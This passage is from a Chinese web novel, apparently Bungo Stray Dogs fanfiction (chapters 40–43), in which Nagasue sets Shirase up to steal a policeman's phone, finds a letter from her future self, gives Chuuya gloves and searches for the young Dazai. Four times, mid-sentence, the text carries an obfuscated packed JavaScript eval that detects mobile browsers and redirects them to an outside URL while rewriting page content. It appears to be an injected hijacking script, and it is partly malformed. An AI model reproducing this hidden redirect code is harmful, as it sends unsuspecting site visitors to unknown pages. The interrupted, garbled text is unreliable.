她说着把手放进了兜里,摩挲了一下里头的黑卡。 本身拥有系统,赚钱已经是堪比从地上捡钱一样容易的事了,而现在再拥有了未来三年的市场走势,她捡钱的金额上限还能翻十几倍。 但那也意外着,她需要一个游离在时间线之外的账户,最好保存在虚假的身份之中,在着手去做这件事的时候,她却发现自己随意让系统生成的假身份……居然已经存在了。 这还不是她回溯最久远的时间吗? 她的过去,未来和现在都是不分明的线团,虚虚触碰就会被缠绕打结。 “礼物……?”中也没有想到会得到这样的回答,但永末发现他居然没有怀疑这话的真假立即相信了,“所以你最近是在打工……唔,怪不得没有戴……” “那个!没有必要……”中也摆手推拒,目光闪。永末有点离奇地发现他的耳朵在月光底下红起来了,不晓得是因为自己的误会还是因为别的什么。 他好像真的有点不好意思。 “……都说了之前不算是救你,而且也不用放在心上!你已经加入羊,保护你们就是我的责任……这又不是需要回报的事情!” “……”永末稍微有点好奇,难道这是中也第一次被送礼物吗? ……明明连饼的实体都没有看到,居然只是得到了口头画饼就真的好像吃到了一样。 不过这一点也是他的可爱之处就是了。 “……我有这个自信,如果中也真的见到这份礼物,应该就不会拒绝。”永末目光微动,她的眼前闪过比现在年长一点的中也皱着眉头说“我不是人类”的画面。 ……如果不能直接告诉他一切,用更和缓的方式把他想找的身世透露给他,是否会改变未来,那样又会发生什么呢? “好好期待吧。中也君。”非常难得的,永末展开一个微笑。 40.第40章 跟中也说开的第二天早上,永末便被梅开二度的找上了。 但这次来找的她不是什么善茬。 “喂!那个谁……你是叫永、永末对吧!” 第一次见就扬言要直接扔掉她、被她反手送进局子蹲了几天、最近刚刚放出来的少白头,白濑,正单手叉兜,脸上有点不耐烦地杵在她门口。 羊组织肉眼可见的贫穷,给成员提供的基地房间自然也好不到哪去,墙体和门大部分是废弃的建筑板材拼凑而成的。 永末看着被白濑一脚撅翻的、作为门的铁皮,没有第一时间做出任何回应。 凌晨刚刚从外头办完事摸回基地房间,补觉还没超过四个钟头的永末尚夏,情绪其实也没比他好多少。 ……昨天跟中也的对话被他偷听到了吗?所以现在找上门? 刚刚被吵醒,只是勉强还在转动的脑回路第一个跳出来的是这样的猜测。 永末迟钝地,像是所有没睡醒的人那样懒散地伸手掩住半张脸,垂下眼睛,同时在手的遮掩下,她的视线已经扫过基地里头留下的人。 中也不在,似乎经常跟这个少白头混在一起的那些也不在…… 他选的这个时间点过来挺好的,环境很能支持她跟这位涉世未深的少年进行一场私人的、不被打扰的、核善的物理交流。 永末脑子里边转动的各种念头尚未落在实处,白濑接下来的话拯救了自己。 “喂……既然加入了组织,总不能一直在这里吃干饭吧!”在门口的白毛似乎莫名有点恶寒,疑神疑鬼地左顾右盼了一下,很快就当作错觉抛开,嚣张地开始大放厥词。 “我说,现在就有一件事要你去办!” 哦……看来只是单纯在欺负组织里头的新人。永末表情漠然地理解了现状。 “说话啊!对前辈这是什么无视的态度!” 白濑似乎也觉得这样没其他人打扰的场合很适合跟新人进行一场贴心交流,跨进了房间,摆出一副虚张声势的吓唬人的架势。 “……什么事?”永末沉默了几秒,最终决定还是先听听看他又要整什么幺蛾子。 “问那么多呢!你跟我来就是了!”见永末有答应的意思,他立即便开始作威作福。 ……还是没关够。永末无情地想道。 稍加思索,她符合人设地提出了新问题,“那为什么不找其他人一起……?还有中也知道吗?” 白濑闻言,表情顿时扭曲了一下。 永末觉得他是莫名其妙找上自己,但其实白濑是没招了。 在拉着别的同伴去抢劫,结果把自己搞进了局子后,平时跟他一起行动的其他人最近都不跟他一起折腾了……虽然这种犯错之后的老实日子不会过多久,但白濑已经憋不住了。 在收留中也之后,他还没吃过那么大的亏。 ……以前遇到的警察,要么知道他们是未成年人懒得来批评教育,对他们睁一只眼闭一只眼,要么是知道他们的首领是那个羊之王,害怕被找上门,所以放过他们。 这还是第一次他扎扎实实地被抓紧去蹲了好几天……他绝对不会轻易放过那个警察的! 怀揣着报复的念头,白濑心烦意乱地在组织里头乱逛,正好发现还有没听过中也训话的新人留在组织里头没出去,这才有了现在这一幕。 “喂!你好像觉得中也那个家伙收留了你,说什么要保护大家的大话,就一切万事大吉了,张口闭口提到他,觉得他真的是个首领了?……我告诉你……” 永末看到白濑的脸上闪过一丝恼火,好像不止因为她有拒绝的意思,还因为她提到了中也。 他放低了声音,眼神也阴暗起来,似乎真的有几分威胁。 “中也不是一直在组织里头的,你总有一个人落单的时候……要是被我知道中也听说了这件事,看他能怎么保护你!” 白濑说着,举起右手给永末看了看自己的拳头,在永末看傻x的表情里边,浑然不觉地挥了挥。 “现在,跟我走……我说什么你做什么……那个该死的老警察不是说我屡次偷钱抢劫,要关我进少管所吗,这次就让他当这个受害人……!” 白濑似乎很满意自己的恐吓,觉得新人不会真的冒着挨打的风险再拒绝,说完扭头就往外走去。 其实永末觉得自己在他身后,直接把门重新关上,或者干脆按住他就地打一顿更好。 ……既然这家伙也不敢把事闹到中也跟前,那就好办了。 但她听到白濑想做的事情后,想法突然有了全新的转变。 在先前报警时,她有考虑过应该报给谁的问题,毕竟对象既要有抓组织成员的能力,又要有面对压力的决心…… 而在搜寻目标的过程中,一个似曾相识的名字落在了她的眼睛里。 ……村濑警官。最开始替她异常热心地申请了兑换悬赏绿色通道的警官。 ……村濑。在实验室中收到的短信上的名字。N的弟弟。 两者会是同一个人吗? 当时报警时没有来得及确认,只是选定了他作为报警对象,但事后永末进行了情报的搜寻。 结论是“yes。” 随意埋伏下的巧合……刚好在此时此刻,能够用上了。 过去可以改变吗?永末盯住大摇大摆走出去的少年,想道。 眼前不就有绝佳的实验品吗? 既然不能用言语之间告知中也……可以迂回地把他拉进他身世的秘密里边吗? ……比如说,让试图找麻烦的白濑真的弄到了一个跟N有关系的手机? …… ………… “我说,真有你的啊!做诱饵的时候还能演出那种表情?下次行动还叫你……!” 白濑春风满面地用力拍了一下身边的新人肩膀,对着跟他相隔了一条铁门,试图撬门的警官摆出挑衅的手势。 他故意抛了抛新到手的,对方的手机,随后……没良心但在永末意料中地,丢下她一个人先跑了。 永末尚夏沉默地看着还在努力想掰开门的警官,他跟第一次见面时没什么变化,还是一副长得很着急,严肃稳重的样子。 她平静地走近了两步,从铁门里头递过去一叠万元大钞,“抱歉。” “你……你之前不是在那个组织的吧?”村濑警官尝试无果之后用力拍了一下铁门,看到她的行为,却没有接过钱的意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104348|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他的脸上隐约流露出了一点痛心,语重心长,“永末尚夏……假设你之前告诉我的是真名……别跟他们混在一起了,那群人跟好几起偷盗、抢劫、暴力行动的报案都有联系,之后大概也是进黑手党的料子,你跟他们一道不会有什么好结果的……” “抱歉。”永末重复了一遍。 她突然有点明白了,几年后这位警官对她的帮助,也许有着她并没有察觉的,别的理由。 时间,因果……她跟所有人的相遇,都是逆转的吗……很有意思。 这次永末没有等待对方接过去,直接塞进了铁门的缝隙里边,随后她退开了两步,没有再回头地离开了。 …… “手机怎么处理?……直接卖掉吧。” 白濑挠了挠脑袋上头的白毛,无所谓地说道,一起犯过错之后,他显得放松了一点,“黑市,你不知道吗?哦你可能还真的不懂……” 白濑说着,摆弄着新到手的手机,不知道按了什么地方,手机屏幕突然亮了一下,上边显示的内容让他呆住了。 【上次你找我查的那个案子的情报,关于人造异能体的实验室,让没有异能力的人获得异能的实验……有新的线索了……那个实验室的地址是……】 白濑感觉到身体里头的血仿佛都凉了一瞬,随后猛烈地沸腾了起来,瞬间冲进脑子的热血,让他兴奋地一时忘乎所以。 “我只是拿了一手好牌……”说出这话的中原中也的脸在他眼前一闪而过。 ……那就把那手好牌给我啊! 当时他的心声跟现在他的心声重合了。 先给我那手“异能力”的牌,再让我看看,我们到底谁才应该是那个王! 现在不就是个机会吗?……如果能从实验里边得到异能力什么的!只要告诉中也的话,区区实验室…… 不对!这事绝对不能让中也先发现……不,不止如此,不能让任何人去跟中也告密! 白濑猛地抬头,警惕地看向身边的新人少女,却见到她拿出自己的手机,似乎正在看上边的消息,并没有察觉他之前看到的内容。 “我有点别的事情要做。没有时间再陪你折腾了。”永末用平静的口吻,目光都没有落在他身上地说道。 如果是之前,白濑肯定要介意她目无尊卑的语气,但他现在反而松了口气。 他紧紧握住自己一分钟前还在说要卖掉的手机,没意识到自己现在脸上的表情有多狂热和兴奋,直接开口打发人,“那这里没你事了,手机卖掉的钱我之后会给你一份的……” “对了,我最后说一次,今天发生的事情绝对不能告诉中也,听到了没有!” “嗯。”永末用鼻子应了一声,在白濑跑着离开时,轻轻撩起眼帘,注视着他的背影。 她看了几秒钟,又重新垂下视线,手指在早就编辑好的虚假情报内容上徘徊着,思考下一条应该发给他什么。 只要把白濑坑进实验室那边,中也肯定就会发现那边的实验,这跟未来的事就会有冲突……在“过去”改变了“未来”……能做到吗?做到又会发生什么呢? 不过在做这件事之前,她还有另一件事需要确认。 41.第41章 “就是这里了。”永末停下脚步,望向教室门口的班牌。 东京早川女子学院中学校,国中一年1班。 她正赶上放课的时间点。 教室里讲台上,带着啤酒瓶盖那么厚眼镜的讲师用力敲了敲黑板,高声示意底下的同学不要忘记今天的作业,但他的声音已经被淹没在听见放课铃声后活跃起来的学生中了。 三三两两离开座位凑在一起的少女们开始收拾课本,慢一些的还在闲聊一些最近的学生八卦,快一些的已经化身桌面清扫大师,扛起书包开溜了。 这里是东京极为寻常的一个国中院校,跟什么异能力、什么mafia都没有关系,永末唯一过来的理由是…… “同学……学姐?你在等人吗?”刚刚绕过她的栗发少女,不知出于什么理由折返了两步回头,看向她的眼神陌生又好奇。 她像是一只不知道人间险恶,因而随意对着陌生人啁啾的鸟雀,热情开朗道,“需要我帮学姐叫一下人吗?大家应该还没走完!” “谢谢你……”永末把目光落在栗发少女的脸上,看清了这张无忧无虑的脸,“永末尚夏……班上有这样名字的同学吗?” 她清楚地吐出了自己的名字。 是的,这个地方,是“未来”身份卡使用之后,在永末履历中出现的,“自己”就读的国中……也是属于那位少女最后的美好回忆。 而眼前的栗发少女,正是资料里头跟她关系不错的朋友。 “……不好意思?是怎么拼的……?”栗发少女似乎怀疑自己没听清。 但永末已经确认了,她应该并不知道这个名字,也并不认识自己。 ……现在并不存在“永末尚夏”。 也就是说,身份卡没有被使用。那么,失忆后醒来的她,其实面临的就是游戏开局,并没有更加扑朔迷离的“过去”。 “谢谢你……大概是我记错了。说不定她已经升学了……如果不在一年1班的话,我去其他班级再看看吧。”永末若无其事地改口,仿佛自己真的在寻找这么一个人。 她好像是在看最后一眼那样,从眼前这张纯粹干净的脸上扯回目光,在心里认真记下了眼前真实的少女,转身准备离开。 虽然直接在学生资料里边找会更加方便一点,但永末只是突然想来看看,从未谋面的,只在名义上属于她的“过去”。 “欸!不是,不是!学姐等等!我只是在想是不是一样的名字!” 但在身后却传来了栗发少女着急的声音。 “今天有一封信错寄到了班上,收件人好像就是你说的这个人!” 永末停住了脚步,“……?” …… 永末没有想到居然还有意外收获。 寄给“永末尚夏”的信件很薄,捏起来里头也只有一张纸的样子。 外边的邮编和寄送点显示这是一份时空信件,由相关店铺付费定时邮寄的。 “是谁寄的…?”永末在开封之前已经有所猜测,打开之后只是证实了最有可能的那个。 谁还能精确地知道她会在此时此刻来到这里呢?谁还能知道怎么发出,刚好能寄送到她的手中呢? 书写人没有掩饰自己的字迹。 ……那当然只有,未来的自己。 薄薄的一片信纸落在她手中,内容只有匆匆的几行字样。 她略过黏在上头某个礼品店的取货凭证,和显然是联系方式的一个电话号码,把目光落在了最后一行。 未来的自己只给她留下了两条吝啬的能力使用说明。 【不要被“书写”。】 【别被“自己”发现。】 永末看了三遍,确认再盯也盯不出新的字来,不由得捏皱了信纸。 ……未来的我倒是很相信我的脑子能阅读理解吗?还有闲情逸致给自己编谜语?!既然都能寄到了,就不能给一个万字打底的异能力说明书吗! 她多少有了一点现在手里的刀为什么削不到未来自己脸上的郁闷。 …… 好消息是,这不是今天最让人郁闷的事。 礼品店的地址也在东京,永末顺道拿取礼物之后便直接折返基地,又把新收到的电话号码打发给系统查询。 而在返程路上,她看到了路边的邮箱时,突然心中一动,“既然不能直接给中也剧透身世线索,我能否跟未来的我做的一样,把它伪装成情报……在某个时间寄送给中也呢?” 想到之后她就这么做了,这次尝试并没有触发时间线的波动,至少她离开邮局的时候还是囫囵一整个,没有变成半个或者1/3个什么的。 度过了充实的下午时光,计划正在逐步进展,好像春天种下种子,很快就会有所收获的心情逐渐压倒了微妙的郁闷感。 但等她踏入基地的时候,一天的好心情就彻底被消抹了。 “白濑又出事了……”中也表情黯淡,告诉她这个噩耗的语气似乎有点茫然。 永末生出了不详的预感,但中也还没有说完。 “他刚刚……一个人跑出去的时候……闯红灯被路过的摩托撞进医院了……” “………”永末捏着兜里的礼物盒,一时间居然无话可说。 但看到中原中也仿佛在等待她说点什么,而他宽松的外套上还沾着点血迹,看起来是近距离参与了救援……或者至少去看过现场……一副仿佛受到什么冲击,急需安慰的样子。 永末非常勉强地挤出了干巴巴的话,“……那他、没事吧?” 中原中也顿了顿,眼神终于没那么空虚,反而回忆了一下,才回应道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110497|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……之前那个逮捕他的警官这次也撞上了事故现场。” “他帮忙把他送去了医院,还垫了钱。只是白濑好像撞到了脑袋,现在还没醒,不过医生说醒了可能也要住院一阵子……” “…………” ……永末虽然想过计划可能会因为命运的自我收束有什么意外展开,但没想到会居然如此硬核。 ……且现世报。 “……永末?”见她不说话,表情还有点微妙,中也奇怪地叫了她一声。 “没什么……”永末回神,虽然有种计划被打断的憋屈感,但她毕竟还有其他的plan B。 永末试图重新把事情导回正轨,“我只是在想,白濑君的事情……是意外吗?会不会是他先前撞见了什么事,所以才会遇到危险……?” “呃……这个……应该没有。”中原中也闻言,表情居然开始丰富多彩地进行红绿灯的演绎。 永末不太能理解他想到了什么,又为什么如此确定,但还没等她提出疑惑,兜里的手机突然传来了来电铃声。 “抱歉。”永末匆匆低头看了一眼来电显示,往外走去了两步,避开中也接起了电话。 似乎是之前的某个邮局…… 电话一接通,那头立即传来了甜美的声音。 “不好意思,请问是刚刚寄件的永末小姐吗?工作人员误操作,不小心将信件遗失了,方便回来重新一趟补寄吗?……” 永末没立即回答,反而猛地想到了什么,开始翻起收到的短信。手机里边已经堆满了其他邮局的未读消息,【抱歉,刚刚发现寄送的地址有点模糊,无法成功寄出……】【十分抱歉,清洁人员不小心把信封掉进了水桶,如需退款请……】…… 因为担心会出现意外,她没有只寄出一封信,但现在看来还是全军覆没。 命运温柔地创造了各种巧合,把它们堆砌成一条通天的罗网,轻柔地抚平了这次来自“未来”的泄密。 “……谢谢,不用了。”永末翻完短信,机械地应答了一声,直接挂断了电话。 她难得有几分自我怀疑。 如果说,“未来”真的是无法更改的话……那么她即使身处“过去”,又有什么意义……? 一步一步走向某个已经被锁死的结局吗? ……如果是她不想见到的结局呢? 永末繁杂的思绪在回头的时候被打断了。 中原中也居然在等待她打完电话没有要走的意思,似乎还有别的话要说。 “其他组织的成员还没回来……他们也处理不来这种事。我凑了点钱,永末……你能陪我一起再去趟医院吗?” 啊……这何尝不是一种邀请凶手去回顾案发现场。永末微妙地想到。 “那当然好。”她立即欣然接受。 42.第42章 如果是在擂钵街的私人黑医那里,做完手术还能让人随便探视,但在被好心警察送去的正规医院显然不行。 结果就是他俩只能隔着玻璃看上一眼。 仪器“滴、滴、滴”地缓慢波动着曲线。白濑脑袋上包了好几圈纱布,上头渗了点血,在观察室的病床上昏迷不醒。 比起他醒来时那种上蹿下跳的作妖姿态,现在的他不管心里如何如何,生理上已经完全老实了。 而永末亲眼确认完他的现状,只觉得心如死灰,特别是她发现他的手里还攥着那只手机……的部分残骸。它大概是在临时主人惨遭车祸的同时跟着殉了。 现在就算想说里边会不会有什么线索,也没有办法开机了…… 永末内心毫无波动,但中原中也大概从这场面里头看出了一点白濑“音容宛在”的悲伤。永末在边上突然听到他吸鼻子的声音。 她一时不太敢回头看,以免撞到什么猛男落泪的尴尬画面,只能把自己当做一个不会说话没有听力的人形挂件,面无表情地盯着心电图胡思乱想。 ……中也好像真的在为白濑出事伤心。永末完全不能理解这一点。 这倒不是她无情,主要是白濑之前说那句“你觉得中也真是个首领了?”的表情她还历历在目。 在港口mafia生活的那段时间,中也在羊过去的遭遇其实不算什么秘密,永末自然也知道后来发生了什么,但身处其中和阅读资料不同。 已经被白濑这么对待了……为什么中也好像还对他抱有留恋……? 明明“羊”已经暴露出了分崩离析的征兆……为什么中也还要当做没有察觉? “走吧……”中也半晌后,这么闷闷地说道,扭头折返离开,永末跟在他身后。 “话说……耽误你的时间了吧,尚夏。” “嗯……中也的话,不算耽搁……?”永末回想了一下自己的事。 关于实验室那边的行动准备已经做得差不多了,而刚刚系统找到的情报算是最后一块拼图。 而关于违背时间线的准备……反正已经全盘失败了,要再有行动也得找到更好的时机。 现在倒不如说,在确定进行实验室那边的行动之前,她得到了一个短暂的,什么都不用管,随便她要做什么的空档。 于是她无比诚实地这么说道。 不知道中也是怎么理解的,他发出不怎么相信的一声“哈”。 在又经过一段路,临近第一次永末被他逮住的基地大门时,中也突然说道,“我做首领真的很糟糕吗?” 他说这话的时候背对着永末,好像不想她看到他现在的表情。 永末微微一怔,她抬头看了看天色,又看了看地点,猜测是不是因为此情此景过于像那天,让中也突然有了谈心的意思,但她也没有多迟疑,“就体感来说,我没有这么觉得。” “……因为中也君根本没有成为组织的首领吧?”随即永末平静地补充道。 “嗯……嗯?”原本表现得颇为深沉的中也,在听见后不可置信地转身。而永末看到他的眼圈确实有点发红,立即理解他是不愿意她发现他先前真的哭过了。 不过现在中也已经不在意这点小事,他好像完全没有想过会从新加入的成员嘴里蹦出来这么一句,满脸怀疑人生,“……什么意思?” “因为其他人根本没有把中也当作首领对待啊。在他们的心目中,中也大概只是保镖、保姆,或者……”或者随叫随到的狗。 永末没说下去,掩去了最后一句稍显过分的形容。 她对咄咄逼人不怎么擅长,也没有想要中也受伤的意思,但似乎实话……双方都心知肚明的那种实话……只需要说出来就足够伤人了。 “……”中也握了握拳头,永末觉得他会有什么还击的时候,他突然又松手了。 他低下头,好像接受了,“……连新人也会这么觉得吗……烂好心的人,是不能成为首领的……” “不是。”永末再度否定了,“没有这种事,首领不需要一些残酷的资质,温柔的人也能做首领……” 她说得很笃定,仿佛见证过他当首领的成功,让原本陷入沮丧的中也被冲淡了一些心里的沉郁。 其实永末也确实见过……别的不说,在港口mafia里边,中也可是最受欢迎的领导啊! “只是部下是需要筛选的……对不起,我觉得羊里边的大家,其实没有做部下的资质。” “但是中也不愿意舍弃大家,对吧?也不愿意违背保护大家的心意?” 永末见中也没有反驳,一合掌,算作结束这个话题。 “那就只能继续这样。交给时间……” 她眨了眨眼,敛去没说出的后半段话。 时间会冷酷公平地前进……直到你愿意舍弃、或者被迫舍掉这些不合格的部下。 “……其实白濑,是跟我争吵之后才出门的。” 中也在交谈之后,似乎有点看开了,跟永末稍微吐露了一点自己反常的原因。 “我之前在想,他说的是不是对的,是不是因为我的不合格……白濑他才会变成这样,躺在那里……” ……哦,这个的话,大概是因为我的怂恿。永末在心里默默补充。 中也自然对她的心声一无所知,他无比真诚地说道,“谢谢你,尚夏……愿意听我抱怨这么多……” 他大概也不是对于组织内的人心浮动毫无察觉,这些话估计也憋了好一阵子了,不能跟已经在排斥他的旧日同伴说,不能跟新加入尚且信任着他觉得他无所不能的同伴说,最后倾诉到了永末头上。 似乎是心情缓过来了,中也开始有点不好意思。 “不用客气。中也君。”永末伸手在口袋里头稍微摩挲了一下礼品袋,想了想,还是觉得这份礼物会出现在这里,就是未来的她想要给中也的。 “刚好我有东西要送给你。”她说着,平平地递了过去。 “嗯……?是之前那个?”中也对于现在突然她徒手掏礼物表现得大为惊讶,甚至表露出了真心的拒绝,“……都说过不用了吧!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120221|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 永末看到面对枪林弹雨如履平地,双手插兜从不后退的中也,居然面对小小的一个礼物真情实感地后退了一步。 ……有必要吗? “……不是的。这个只是去东京的伴手礼。”永末看了看他,严肃指证道,“我想送你的礼物没有这么容易买到。那个你还要等一段时间……” “这样吗……”中也好像安心了一点,在永末抖了抖袋子,示意他接过,他照做了以后才反应过来,“没有!真的不需要……!” “是特别给你准备的,既不能退也不能我自己用。”永末看他一时不知道是收是放,语气平平地说道,“如果中也君不想要……那它的归宿就只能是垃圾桶了。” “……有时候真的觉得你……太夸张了。我也没有做什么……说要保护你但也没有做什么……不需要为我那么费心的……!”中也有点无奈,但他好像真的是第一次收到礼物,那种发自内心的高兴和好奇还是从他的反应里边透出来了,“不过还是谢谢你了,尚夏……” 永末看了他跟包装搏斗,有心想提醒他用重力拆开更方便,不过她很快也把注意力放在袋子里边的内容物上。 其实永末也是第一次知道里边是什么,在回来的路上她只是隔着袋子检测过一遍,确认里边没有炸弹,毒药之类的危险品。 “是……手套吗?”中也惊喜地翻来覆去地看过一遍。 皮质的手套做工精细,柔软轻盈,正好能贴合他现在手部大小,不过唯一的价值就是贵重而已。 这只是个普普通通的私人订制款的奢侈品罢了,甚至不是独一无二的拍卖品,换算成日元也就只有二十来万。 但中也就因为这么一份小礼物,用那种就算把整个世界给他都不亏的表情激动地看着永末。 而永末微妙地想起来,在港.黑度过的那几个月里头,她把喝醉的中也塞进他自己宿舍的时候,有看到过他琳琅满目的衣帽间。 当时他一定要给她看自己的各色饰品珍藏,并且醉鬼豪言拍板跟她说,不管看上哪个都送她。 摆在最里边,因为大小缘故已经用不上的收藏品就有这个。 不过永末虽然感觉奇怪,但没有多问什么,而且她一回头发现中也已经睡得人事不省…… 现在知道来历之后,永末心情微妙地发现,当初的中也大概还有想她看到会不会想起来点什么的心思吧…… “你喜欢就好。”永末截断了中也似乎要说出来的话,换了更正经的话题。 她一边说一边进基地,折回自己的房间,“……我之后可能有几天不回基地,中也君不用担心我出事。” 迟了一步,被阻拦在“不能半夜闯进女孩子房间”常识跟前的中也,满腹迟疑的话只能对着空气说了,“不是……!如果这个都不算是礼物……你到底要送我什么啊……!” …… 简陋的房间里头,永末也有一件迟疑很久的事。 现在她终于打算去做了。 【系统……打开游戏面板,查询攻略目标位置。】 43.第43章 这是永末在来到这个时间点后,第一次在脑内打开系统面板,询问攻略对象的消息。 在更多时候,她其实不怎么在乎系统有关于攻略对象的部分……好感度条、攻略积分、进度、CG收录和跟恋人在一起亲密接触时会刷新出的任务,她一直对待得颇为敷衍。 ……她都有点记不起来上次查看是在什么时候了,也许是在把小任务累计的积分拨款到时装上的时候吧。 于是现在一开界面,一重重的相关消息顿时堆满了她的视野,复数的小任务的播报弹框不停地冒出来,从比较正常的“初次合影”、“初次制作/爱心便当”……到不那么正常的“初次被恋人杀害”一应俱全。 永末懒得细看这些每个只有10积分的小任务,就像懒得细想太宰当时陪自己做这些事情的时候到底都在想什么。 她直接在脑内一键清空,把这些零散的积分全拨给了时装那块,填补之前的使用消耗,转而把目光落在了CG集上。 在那几个月跟太宰的相处中,她探寻过一些CG的差异和规则。 比如说,其实CG也分不同的等级。 她先前有尝试跟太宰去打卡了一些爱情圣地,偶尔能刷出来的差不多都是普通的CG场景,大部分时候都是一无所获。这些CG每个价值100积分。 唯一的银色CG其实是那次黄昏时分的谈心,她一直不知道诞生的原理,但那张被命名为“逢魔之时偶遇魔女”的CG,给她直接提供了500积分。 ……会有更高等级的CG吗?那又价值多少积分?会记录下什么内容呢? 就在此刻,谜底揭露了。 【CG收录:金色CG“燃烧的积木城堡”、“请勿睁眼偷看谜底”、“被恋人射杀之日”已收入CG相册,同步获得积分*3000。】 但超出永末预料的,是她自己的心情。 她既不因为暴涨的积分而欣喜,也不因为得偿所愿而满足……只有宛如跟太宰最后一面时那种出人意料的空茫在堆积。 永末以自己也不明白的心情沉默了一会,点开了CG。 收录的CG并不能完全映照现实。比如那张“逢魔之时偶遇魔女”中,就不是现实的场景。 河岸和围栏在CG中化做了色调沉沉的湖泊和森林,而太宰单膝压住她的动作也变成了单膝跪倒在湖边低头往水中看去,原本被他所制的永末则化身成了耳鳍嶙峋的海妖,从湖面下微微出水,她蓝色的头发如同融化的深海,眼神虚无而诡谲。 ……其实永末有怀疑它们提供的是她不清楚的太宰的视角。 但如果太宰当时是那样看待她……永末拒绝思考下去,把目光移向了第一张CG。 “燃烧的积木城堡”,沙滩上七零八落的积木块散落着,在被引燃的篝火里头焚烧着,扭曲的绯色火焰一直蹿上天际,宛如一抹潋滟的霞光。而太宰本人则以小孩子的模样坐在边上注视着一切。 整个画面显得童趣又怪诞,看着一切的孩子脸上什么表情都没有,连瞳孔中都没有因为火光染上任何光泽。 永末眼尖地认出了那些积木的样子,那似乎是她跟太宰居住的那间公寓残骸……但她有点不能理解这代指着什么,总不能是太宰一时兴起把自己家烧了吧? 永末没有思考太久,在脑内先翻过这一节继续看下一张。 “请勿睁眼偷看谜底”,更加难以理解。 这张CG的背景似乎是某个单元楼的场景,暗色的天空中遍布着杂乱无章的高低阴影,仿佛无数双不同的眼睛隐藏其中,一道漆黑的人影站在路灯之下,明明应该有光面,但他确被画成完全黑暗的一笔,而太宰以懒散的姿态歪倒在路灯下的长椅之上,他的目光似乎刚好错过了对方,落在了膝盖上的小木偶身上。 ……永末有点糟心地认出那个小木偶似乎长着一张自己的脸。 永末凝视着这张图片,心中浮现了某些隐约的猜测,但同时她不由得被最后一张CG牵扯了注意。 “射杀恋人之日”,听名字她就大概知道是什么场合,虽然不想回忆那一幕,但即使心存这种抗拒,永末也逐渐感觉心里的复杂情绪超过了她的阙值。 “还是下次再说。”她没有为难自己的习惯,直接关上CG合集,最后看了一眼当前好感度和进度条。 在时间的错位下,好感度已经变成了无法读取的*,可能需要接触到攻略对象才能刷新,但进度条却依然显示着47%,仿佛此刻的她依旧存在于某条顺流而下的攻略轨迹上。 她最终下达了指令,【……那么,现在告诉我,攻略对象在哪里吧?】 * 太宰治,12岁。目前尚未开始自己波澜壮阔的出走生涯,还被囚禁在名为“津岛家”的鸟笼里边,也还没给自己起过那个名字。 事实上他现在的称呼,应该是家中的仆役口中的“津岛家的小少爷”。 如果把这事告诉两年后不幸惨遭太宰的那些人听,说太宰其实出身于一个腐朽的、仿佛封建制度尚未过去、只有隔壁禅院家可堪一比的旧华族中,估计很难被他们相信。 ……毕竟谁会放弃唾手可得的人生easy模式,选择把自己没入一无所有开局的河流呢? 但事实确实如此。 太宰的成长中没有接触过“学校”这个字眼,而是由被请到家中的老师传授着各种知识。 因为是幼子,他甚至不怎么需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124524|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出门交际,而他也从心底里厌烦那种人人都带着面具,说话只说场面话,只把他当作不知事的孩童,又随随便便让他一眼就发现自己人皮底下污糟事的场合。 ……他是自己选择了待在安静避人的房间里边,那样最好的打发时间的方式便是阅读,这是他长久以来的习惯。 “修治少爷……来找入库的新书吗?”在走廊上扫洒的仆役没有抬头,从悄无声息地慢速晃过的木屐上头就认出了过来的孩子。 “嗯。”留下了单字回应,小小的身影闪进了书房里头。 不能穿着木屐在走廊上奔跑,因为那是失礼的事情,最好能做到不要发出声音地行走,这样吹毛求疵的礼节,尚未长大的小少年也做得一向很好。 他被几层和服笼罩的纤细身影,只给接触到的人留下“乖巧”一个印象,宛如没有性格没有自我的人偶。 “假象。”另一双眼睛在看着这一幕,同时做出了无声的评判。 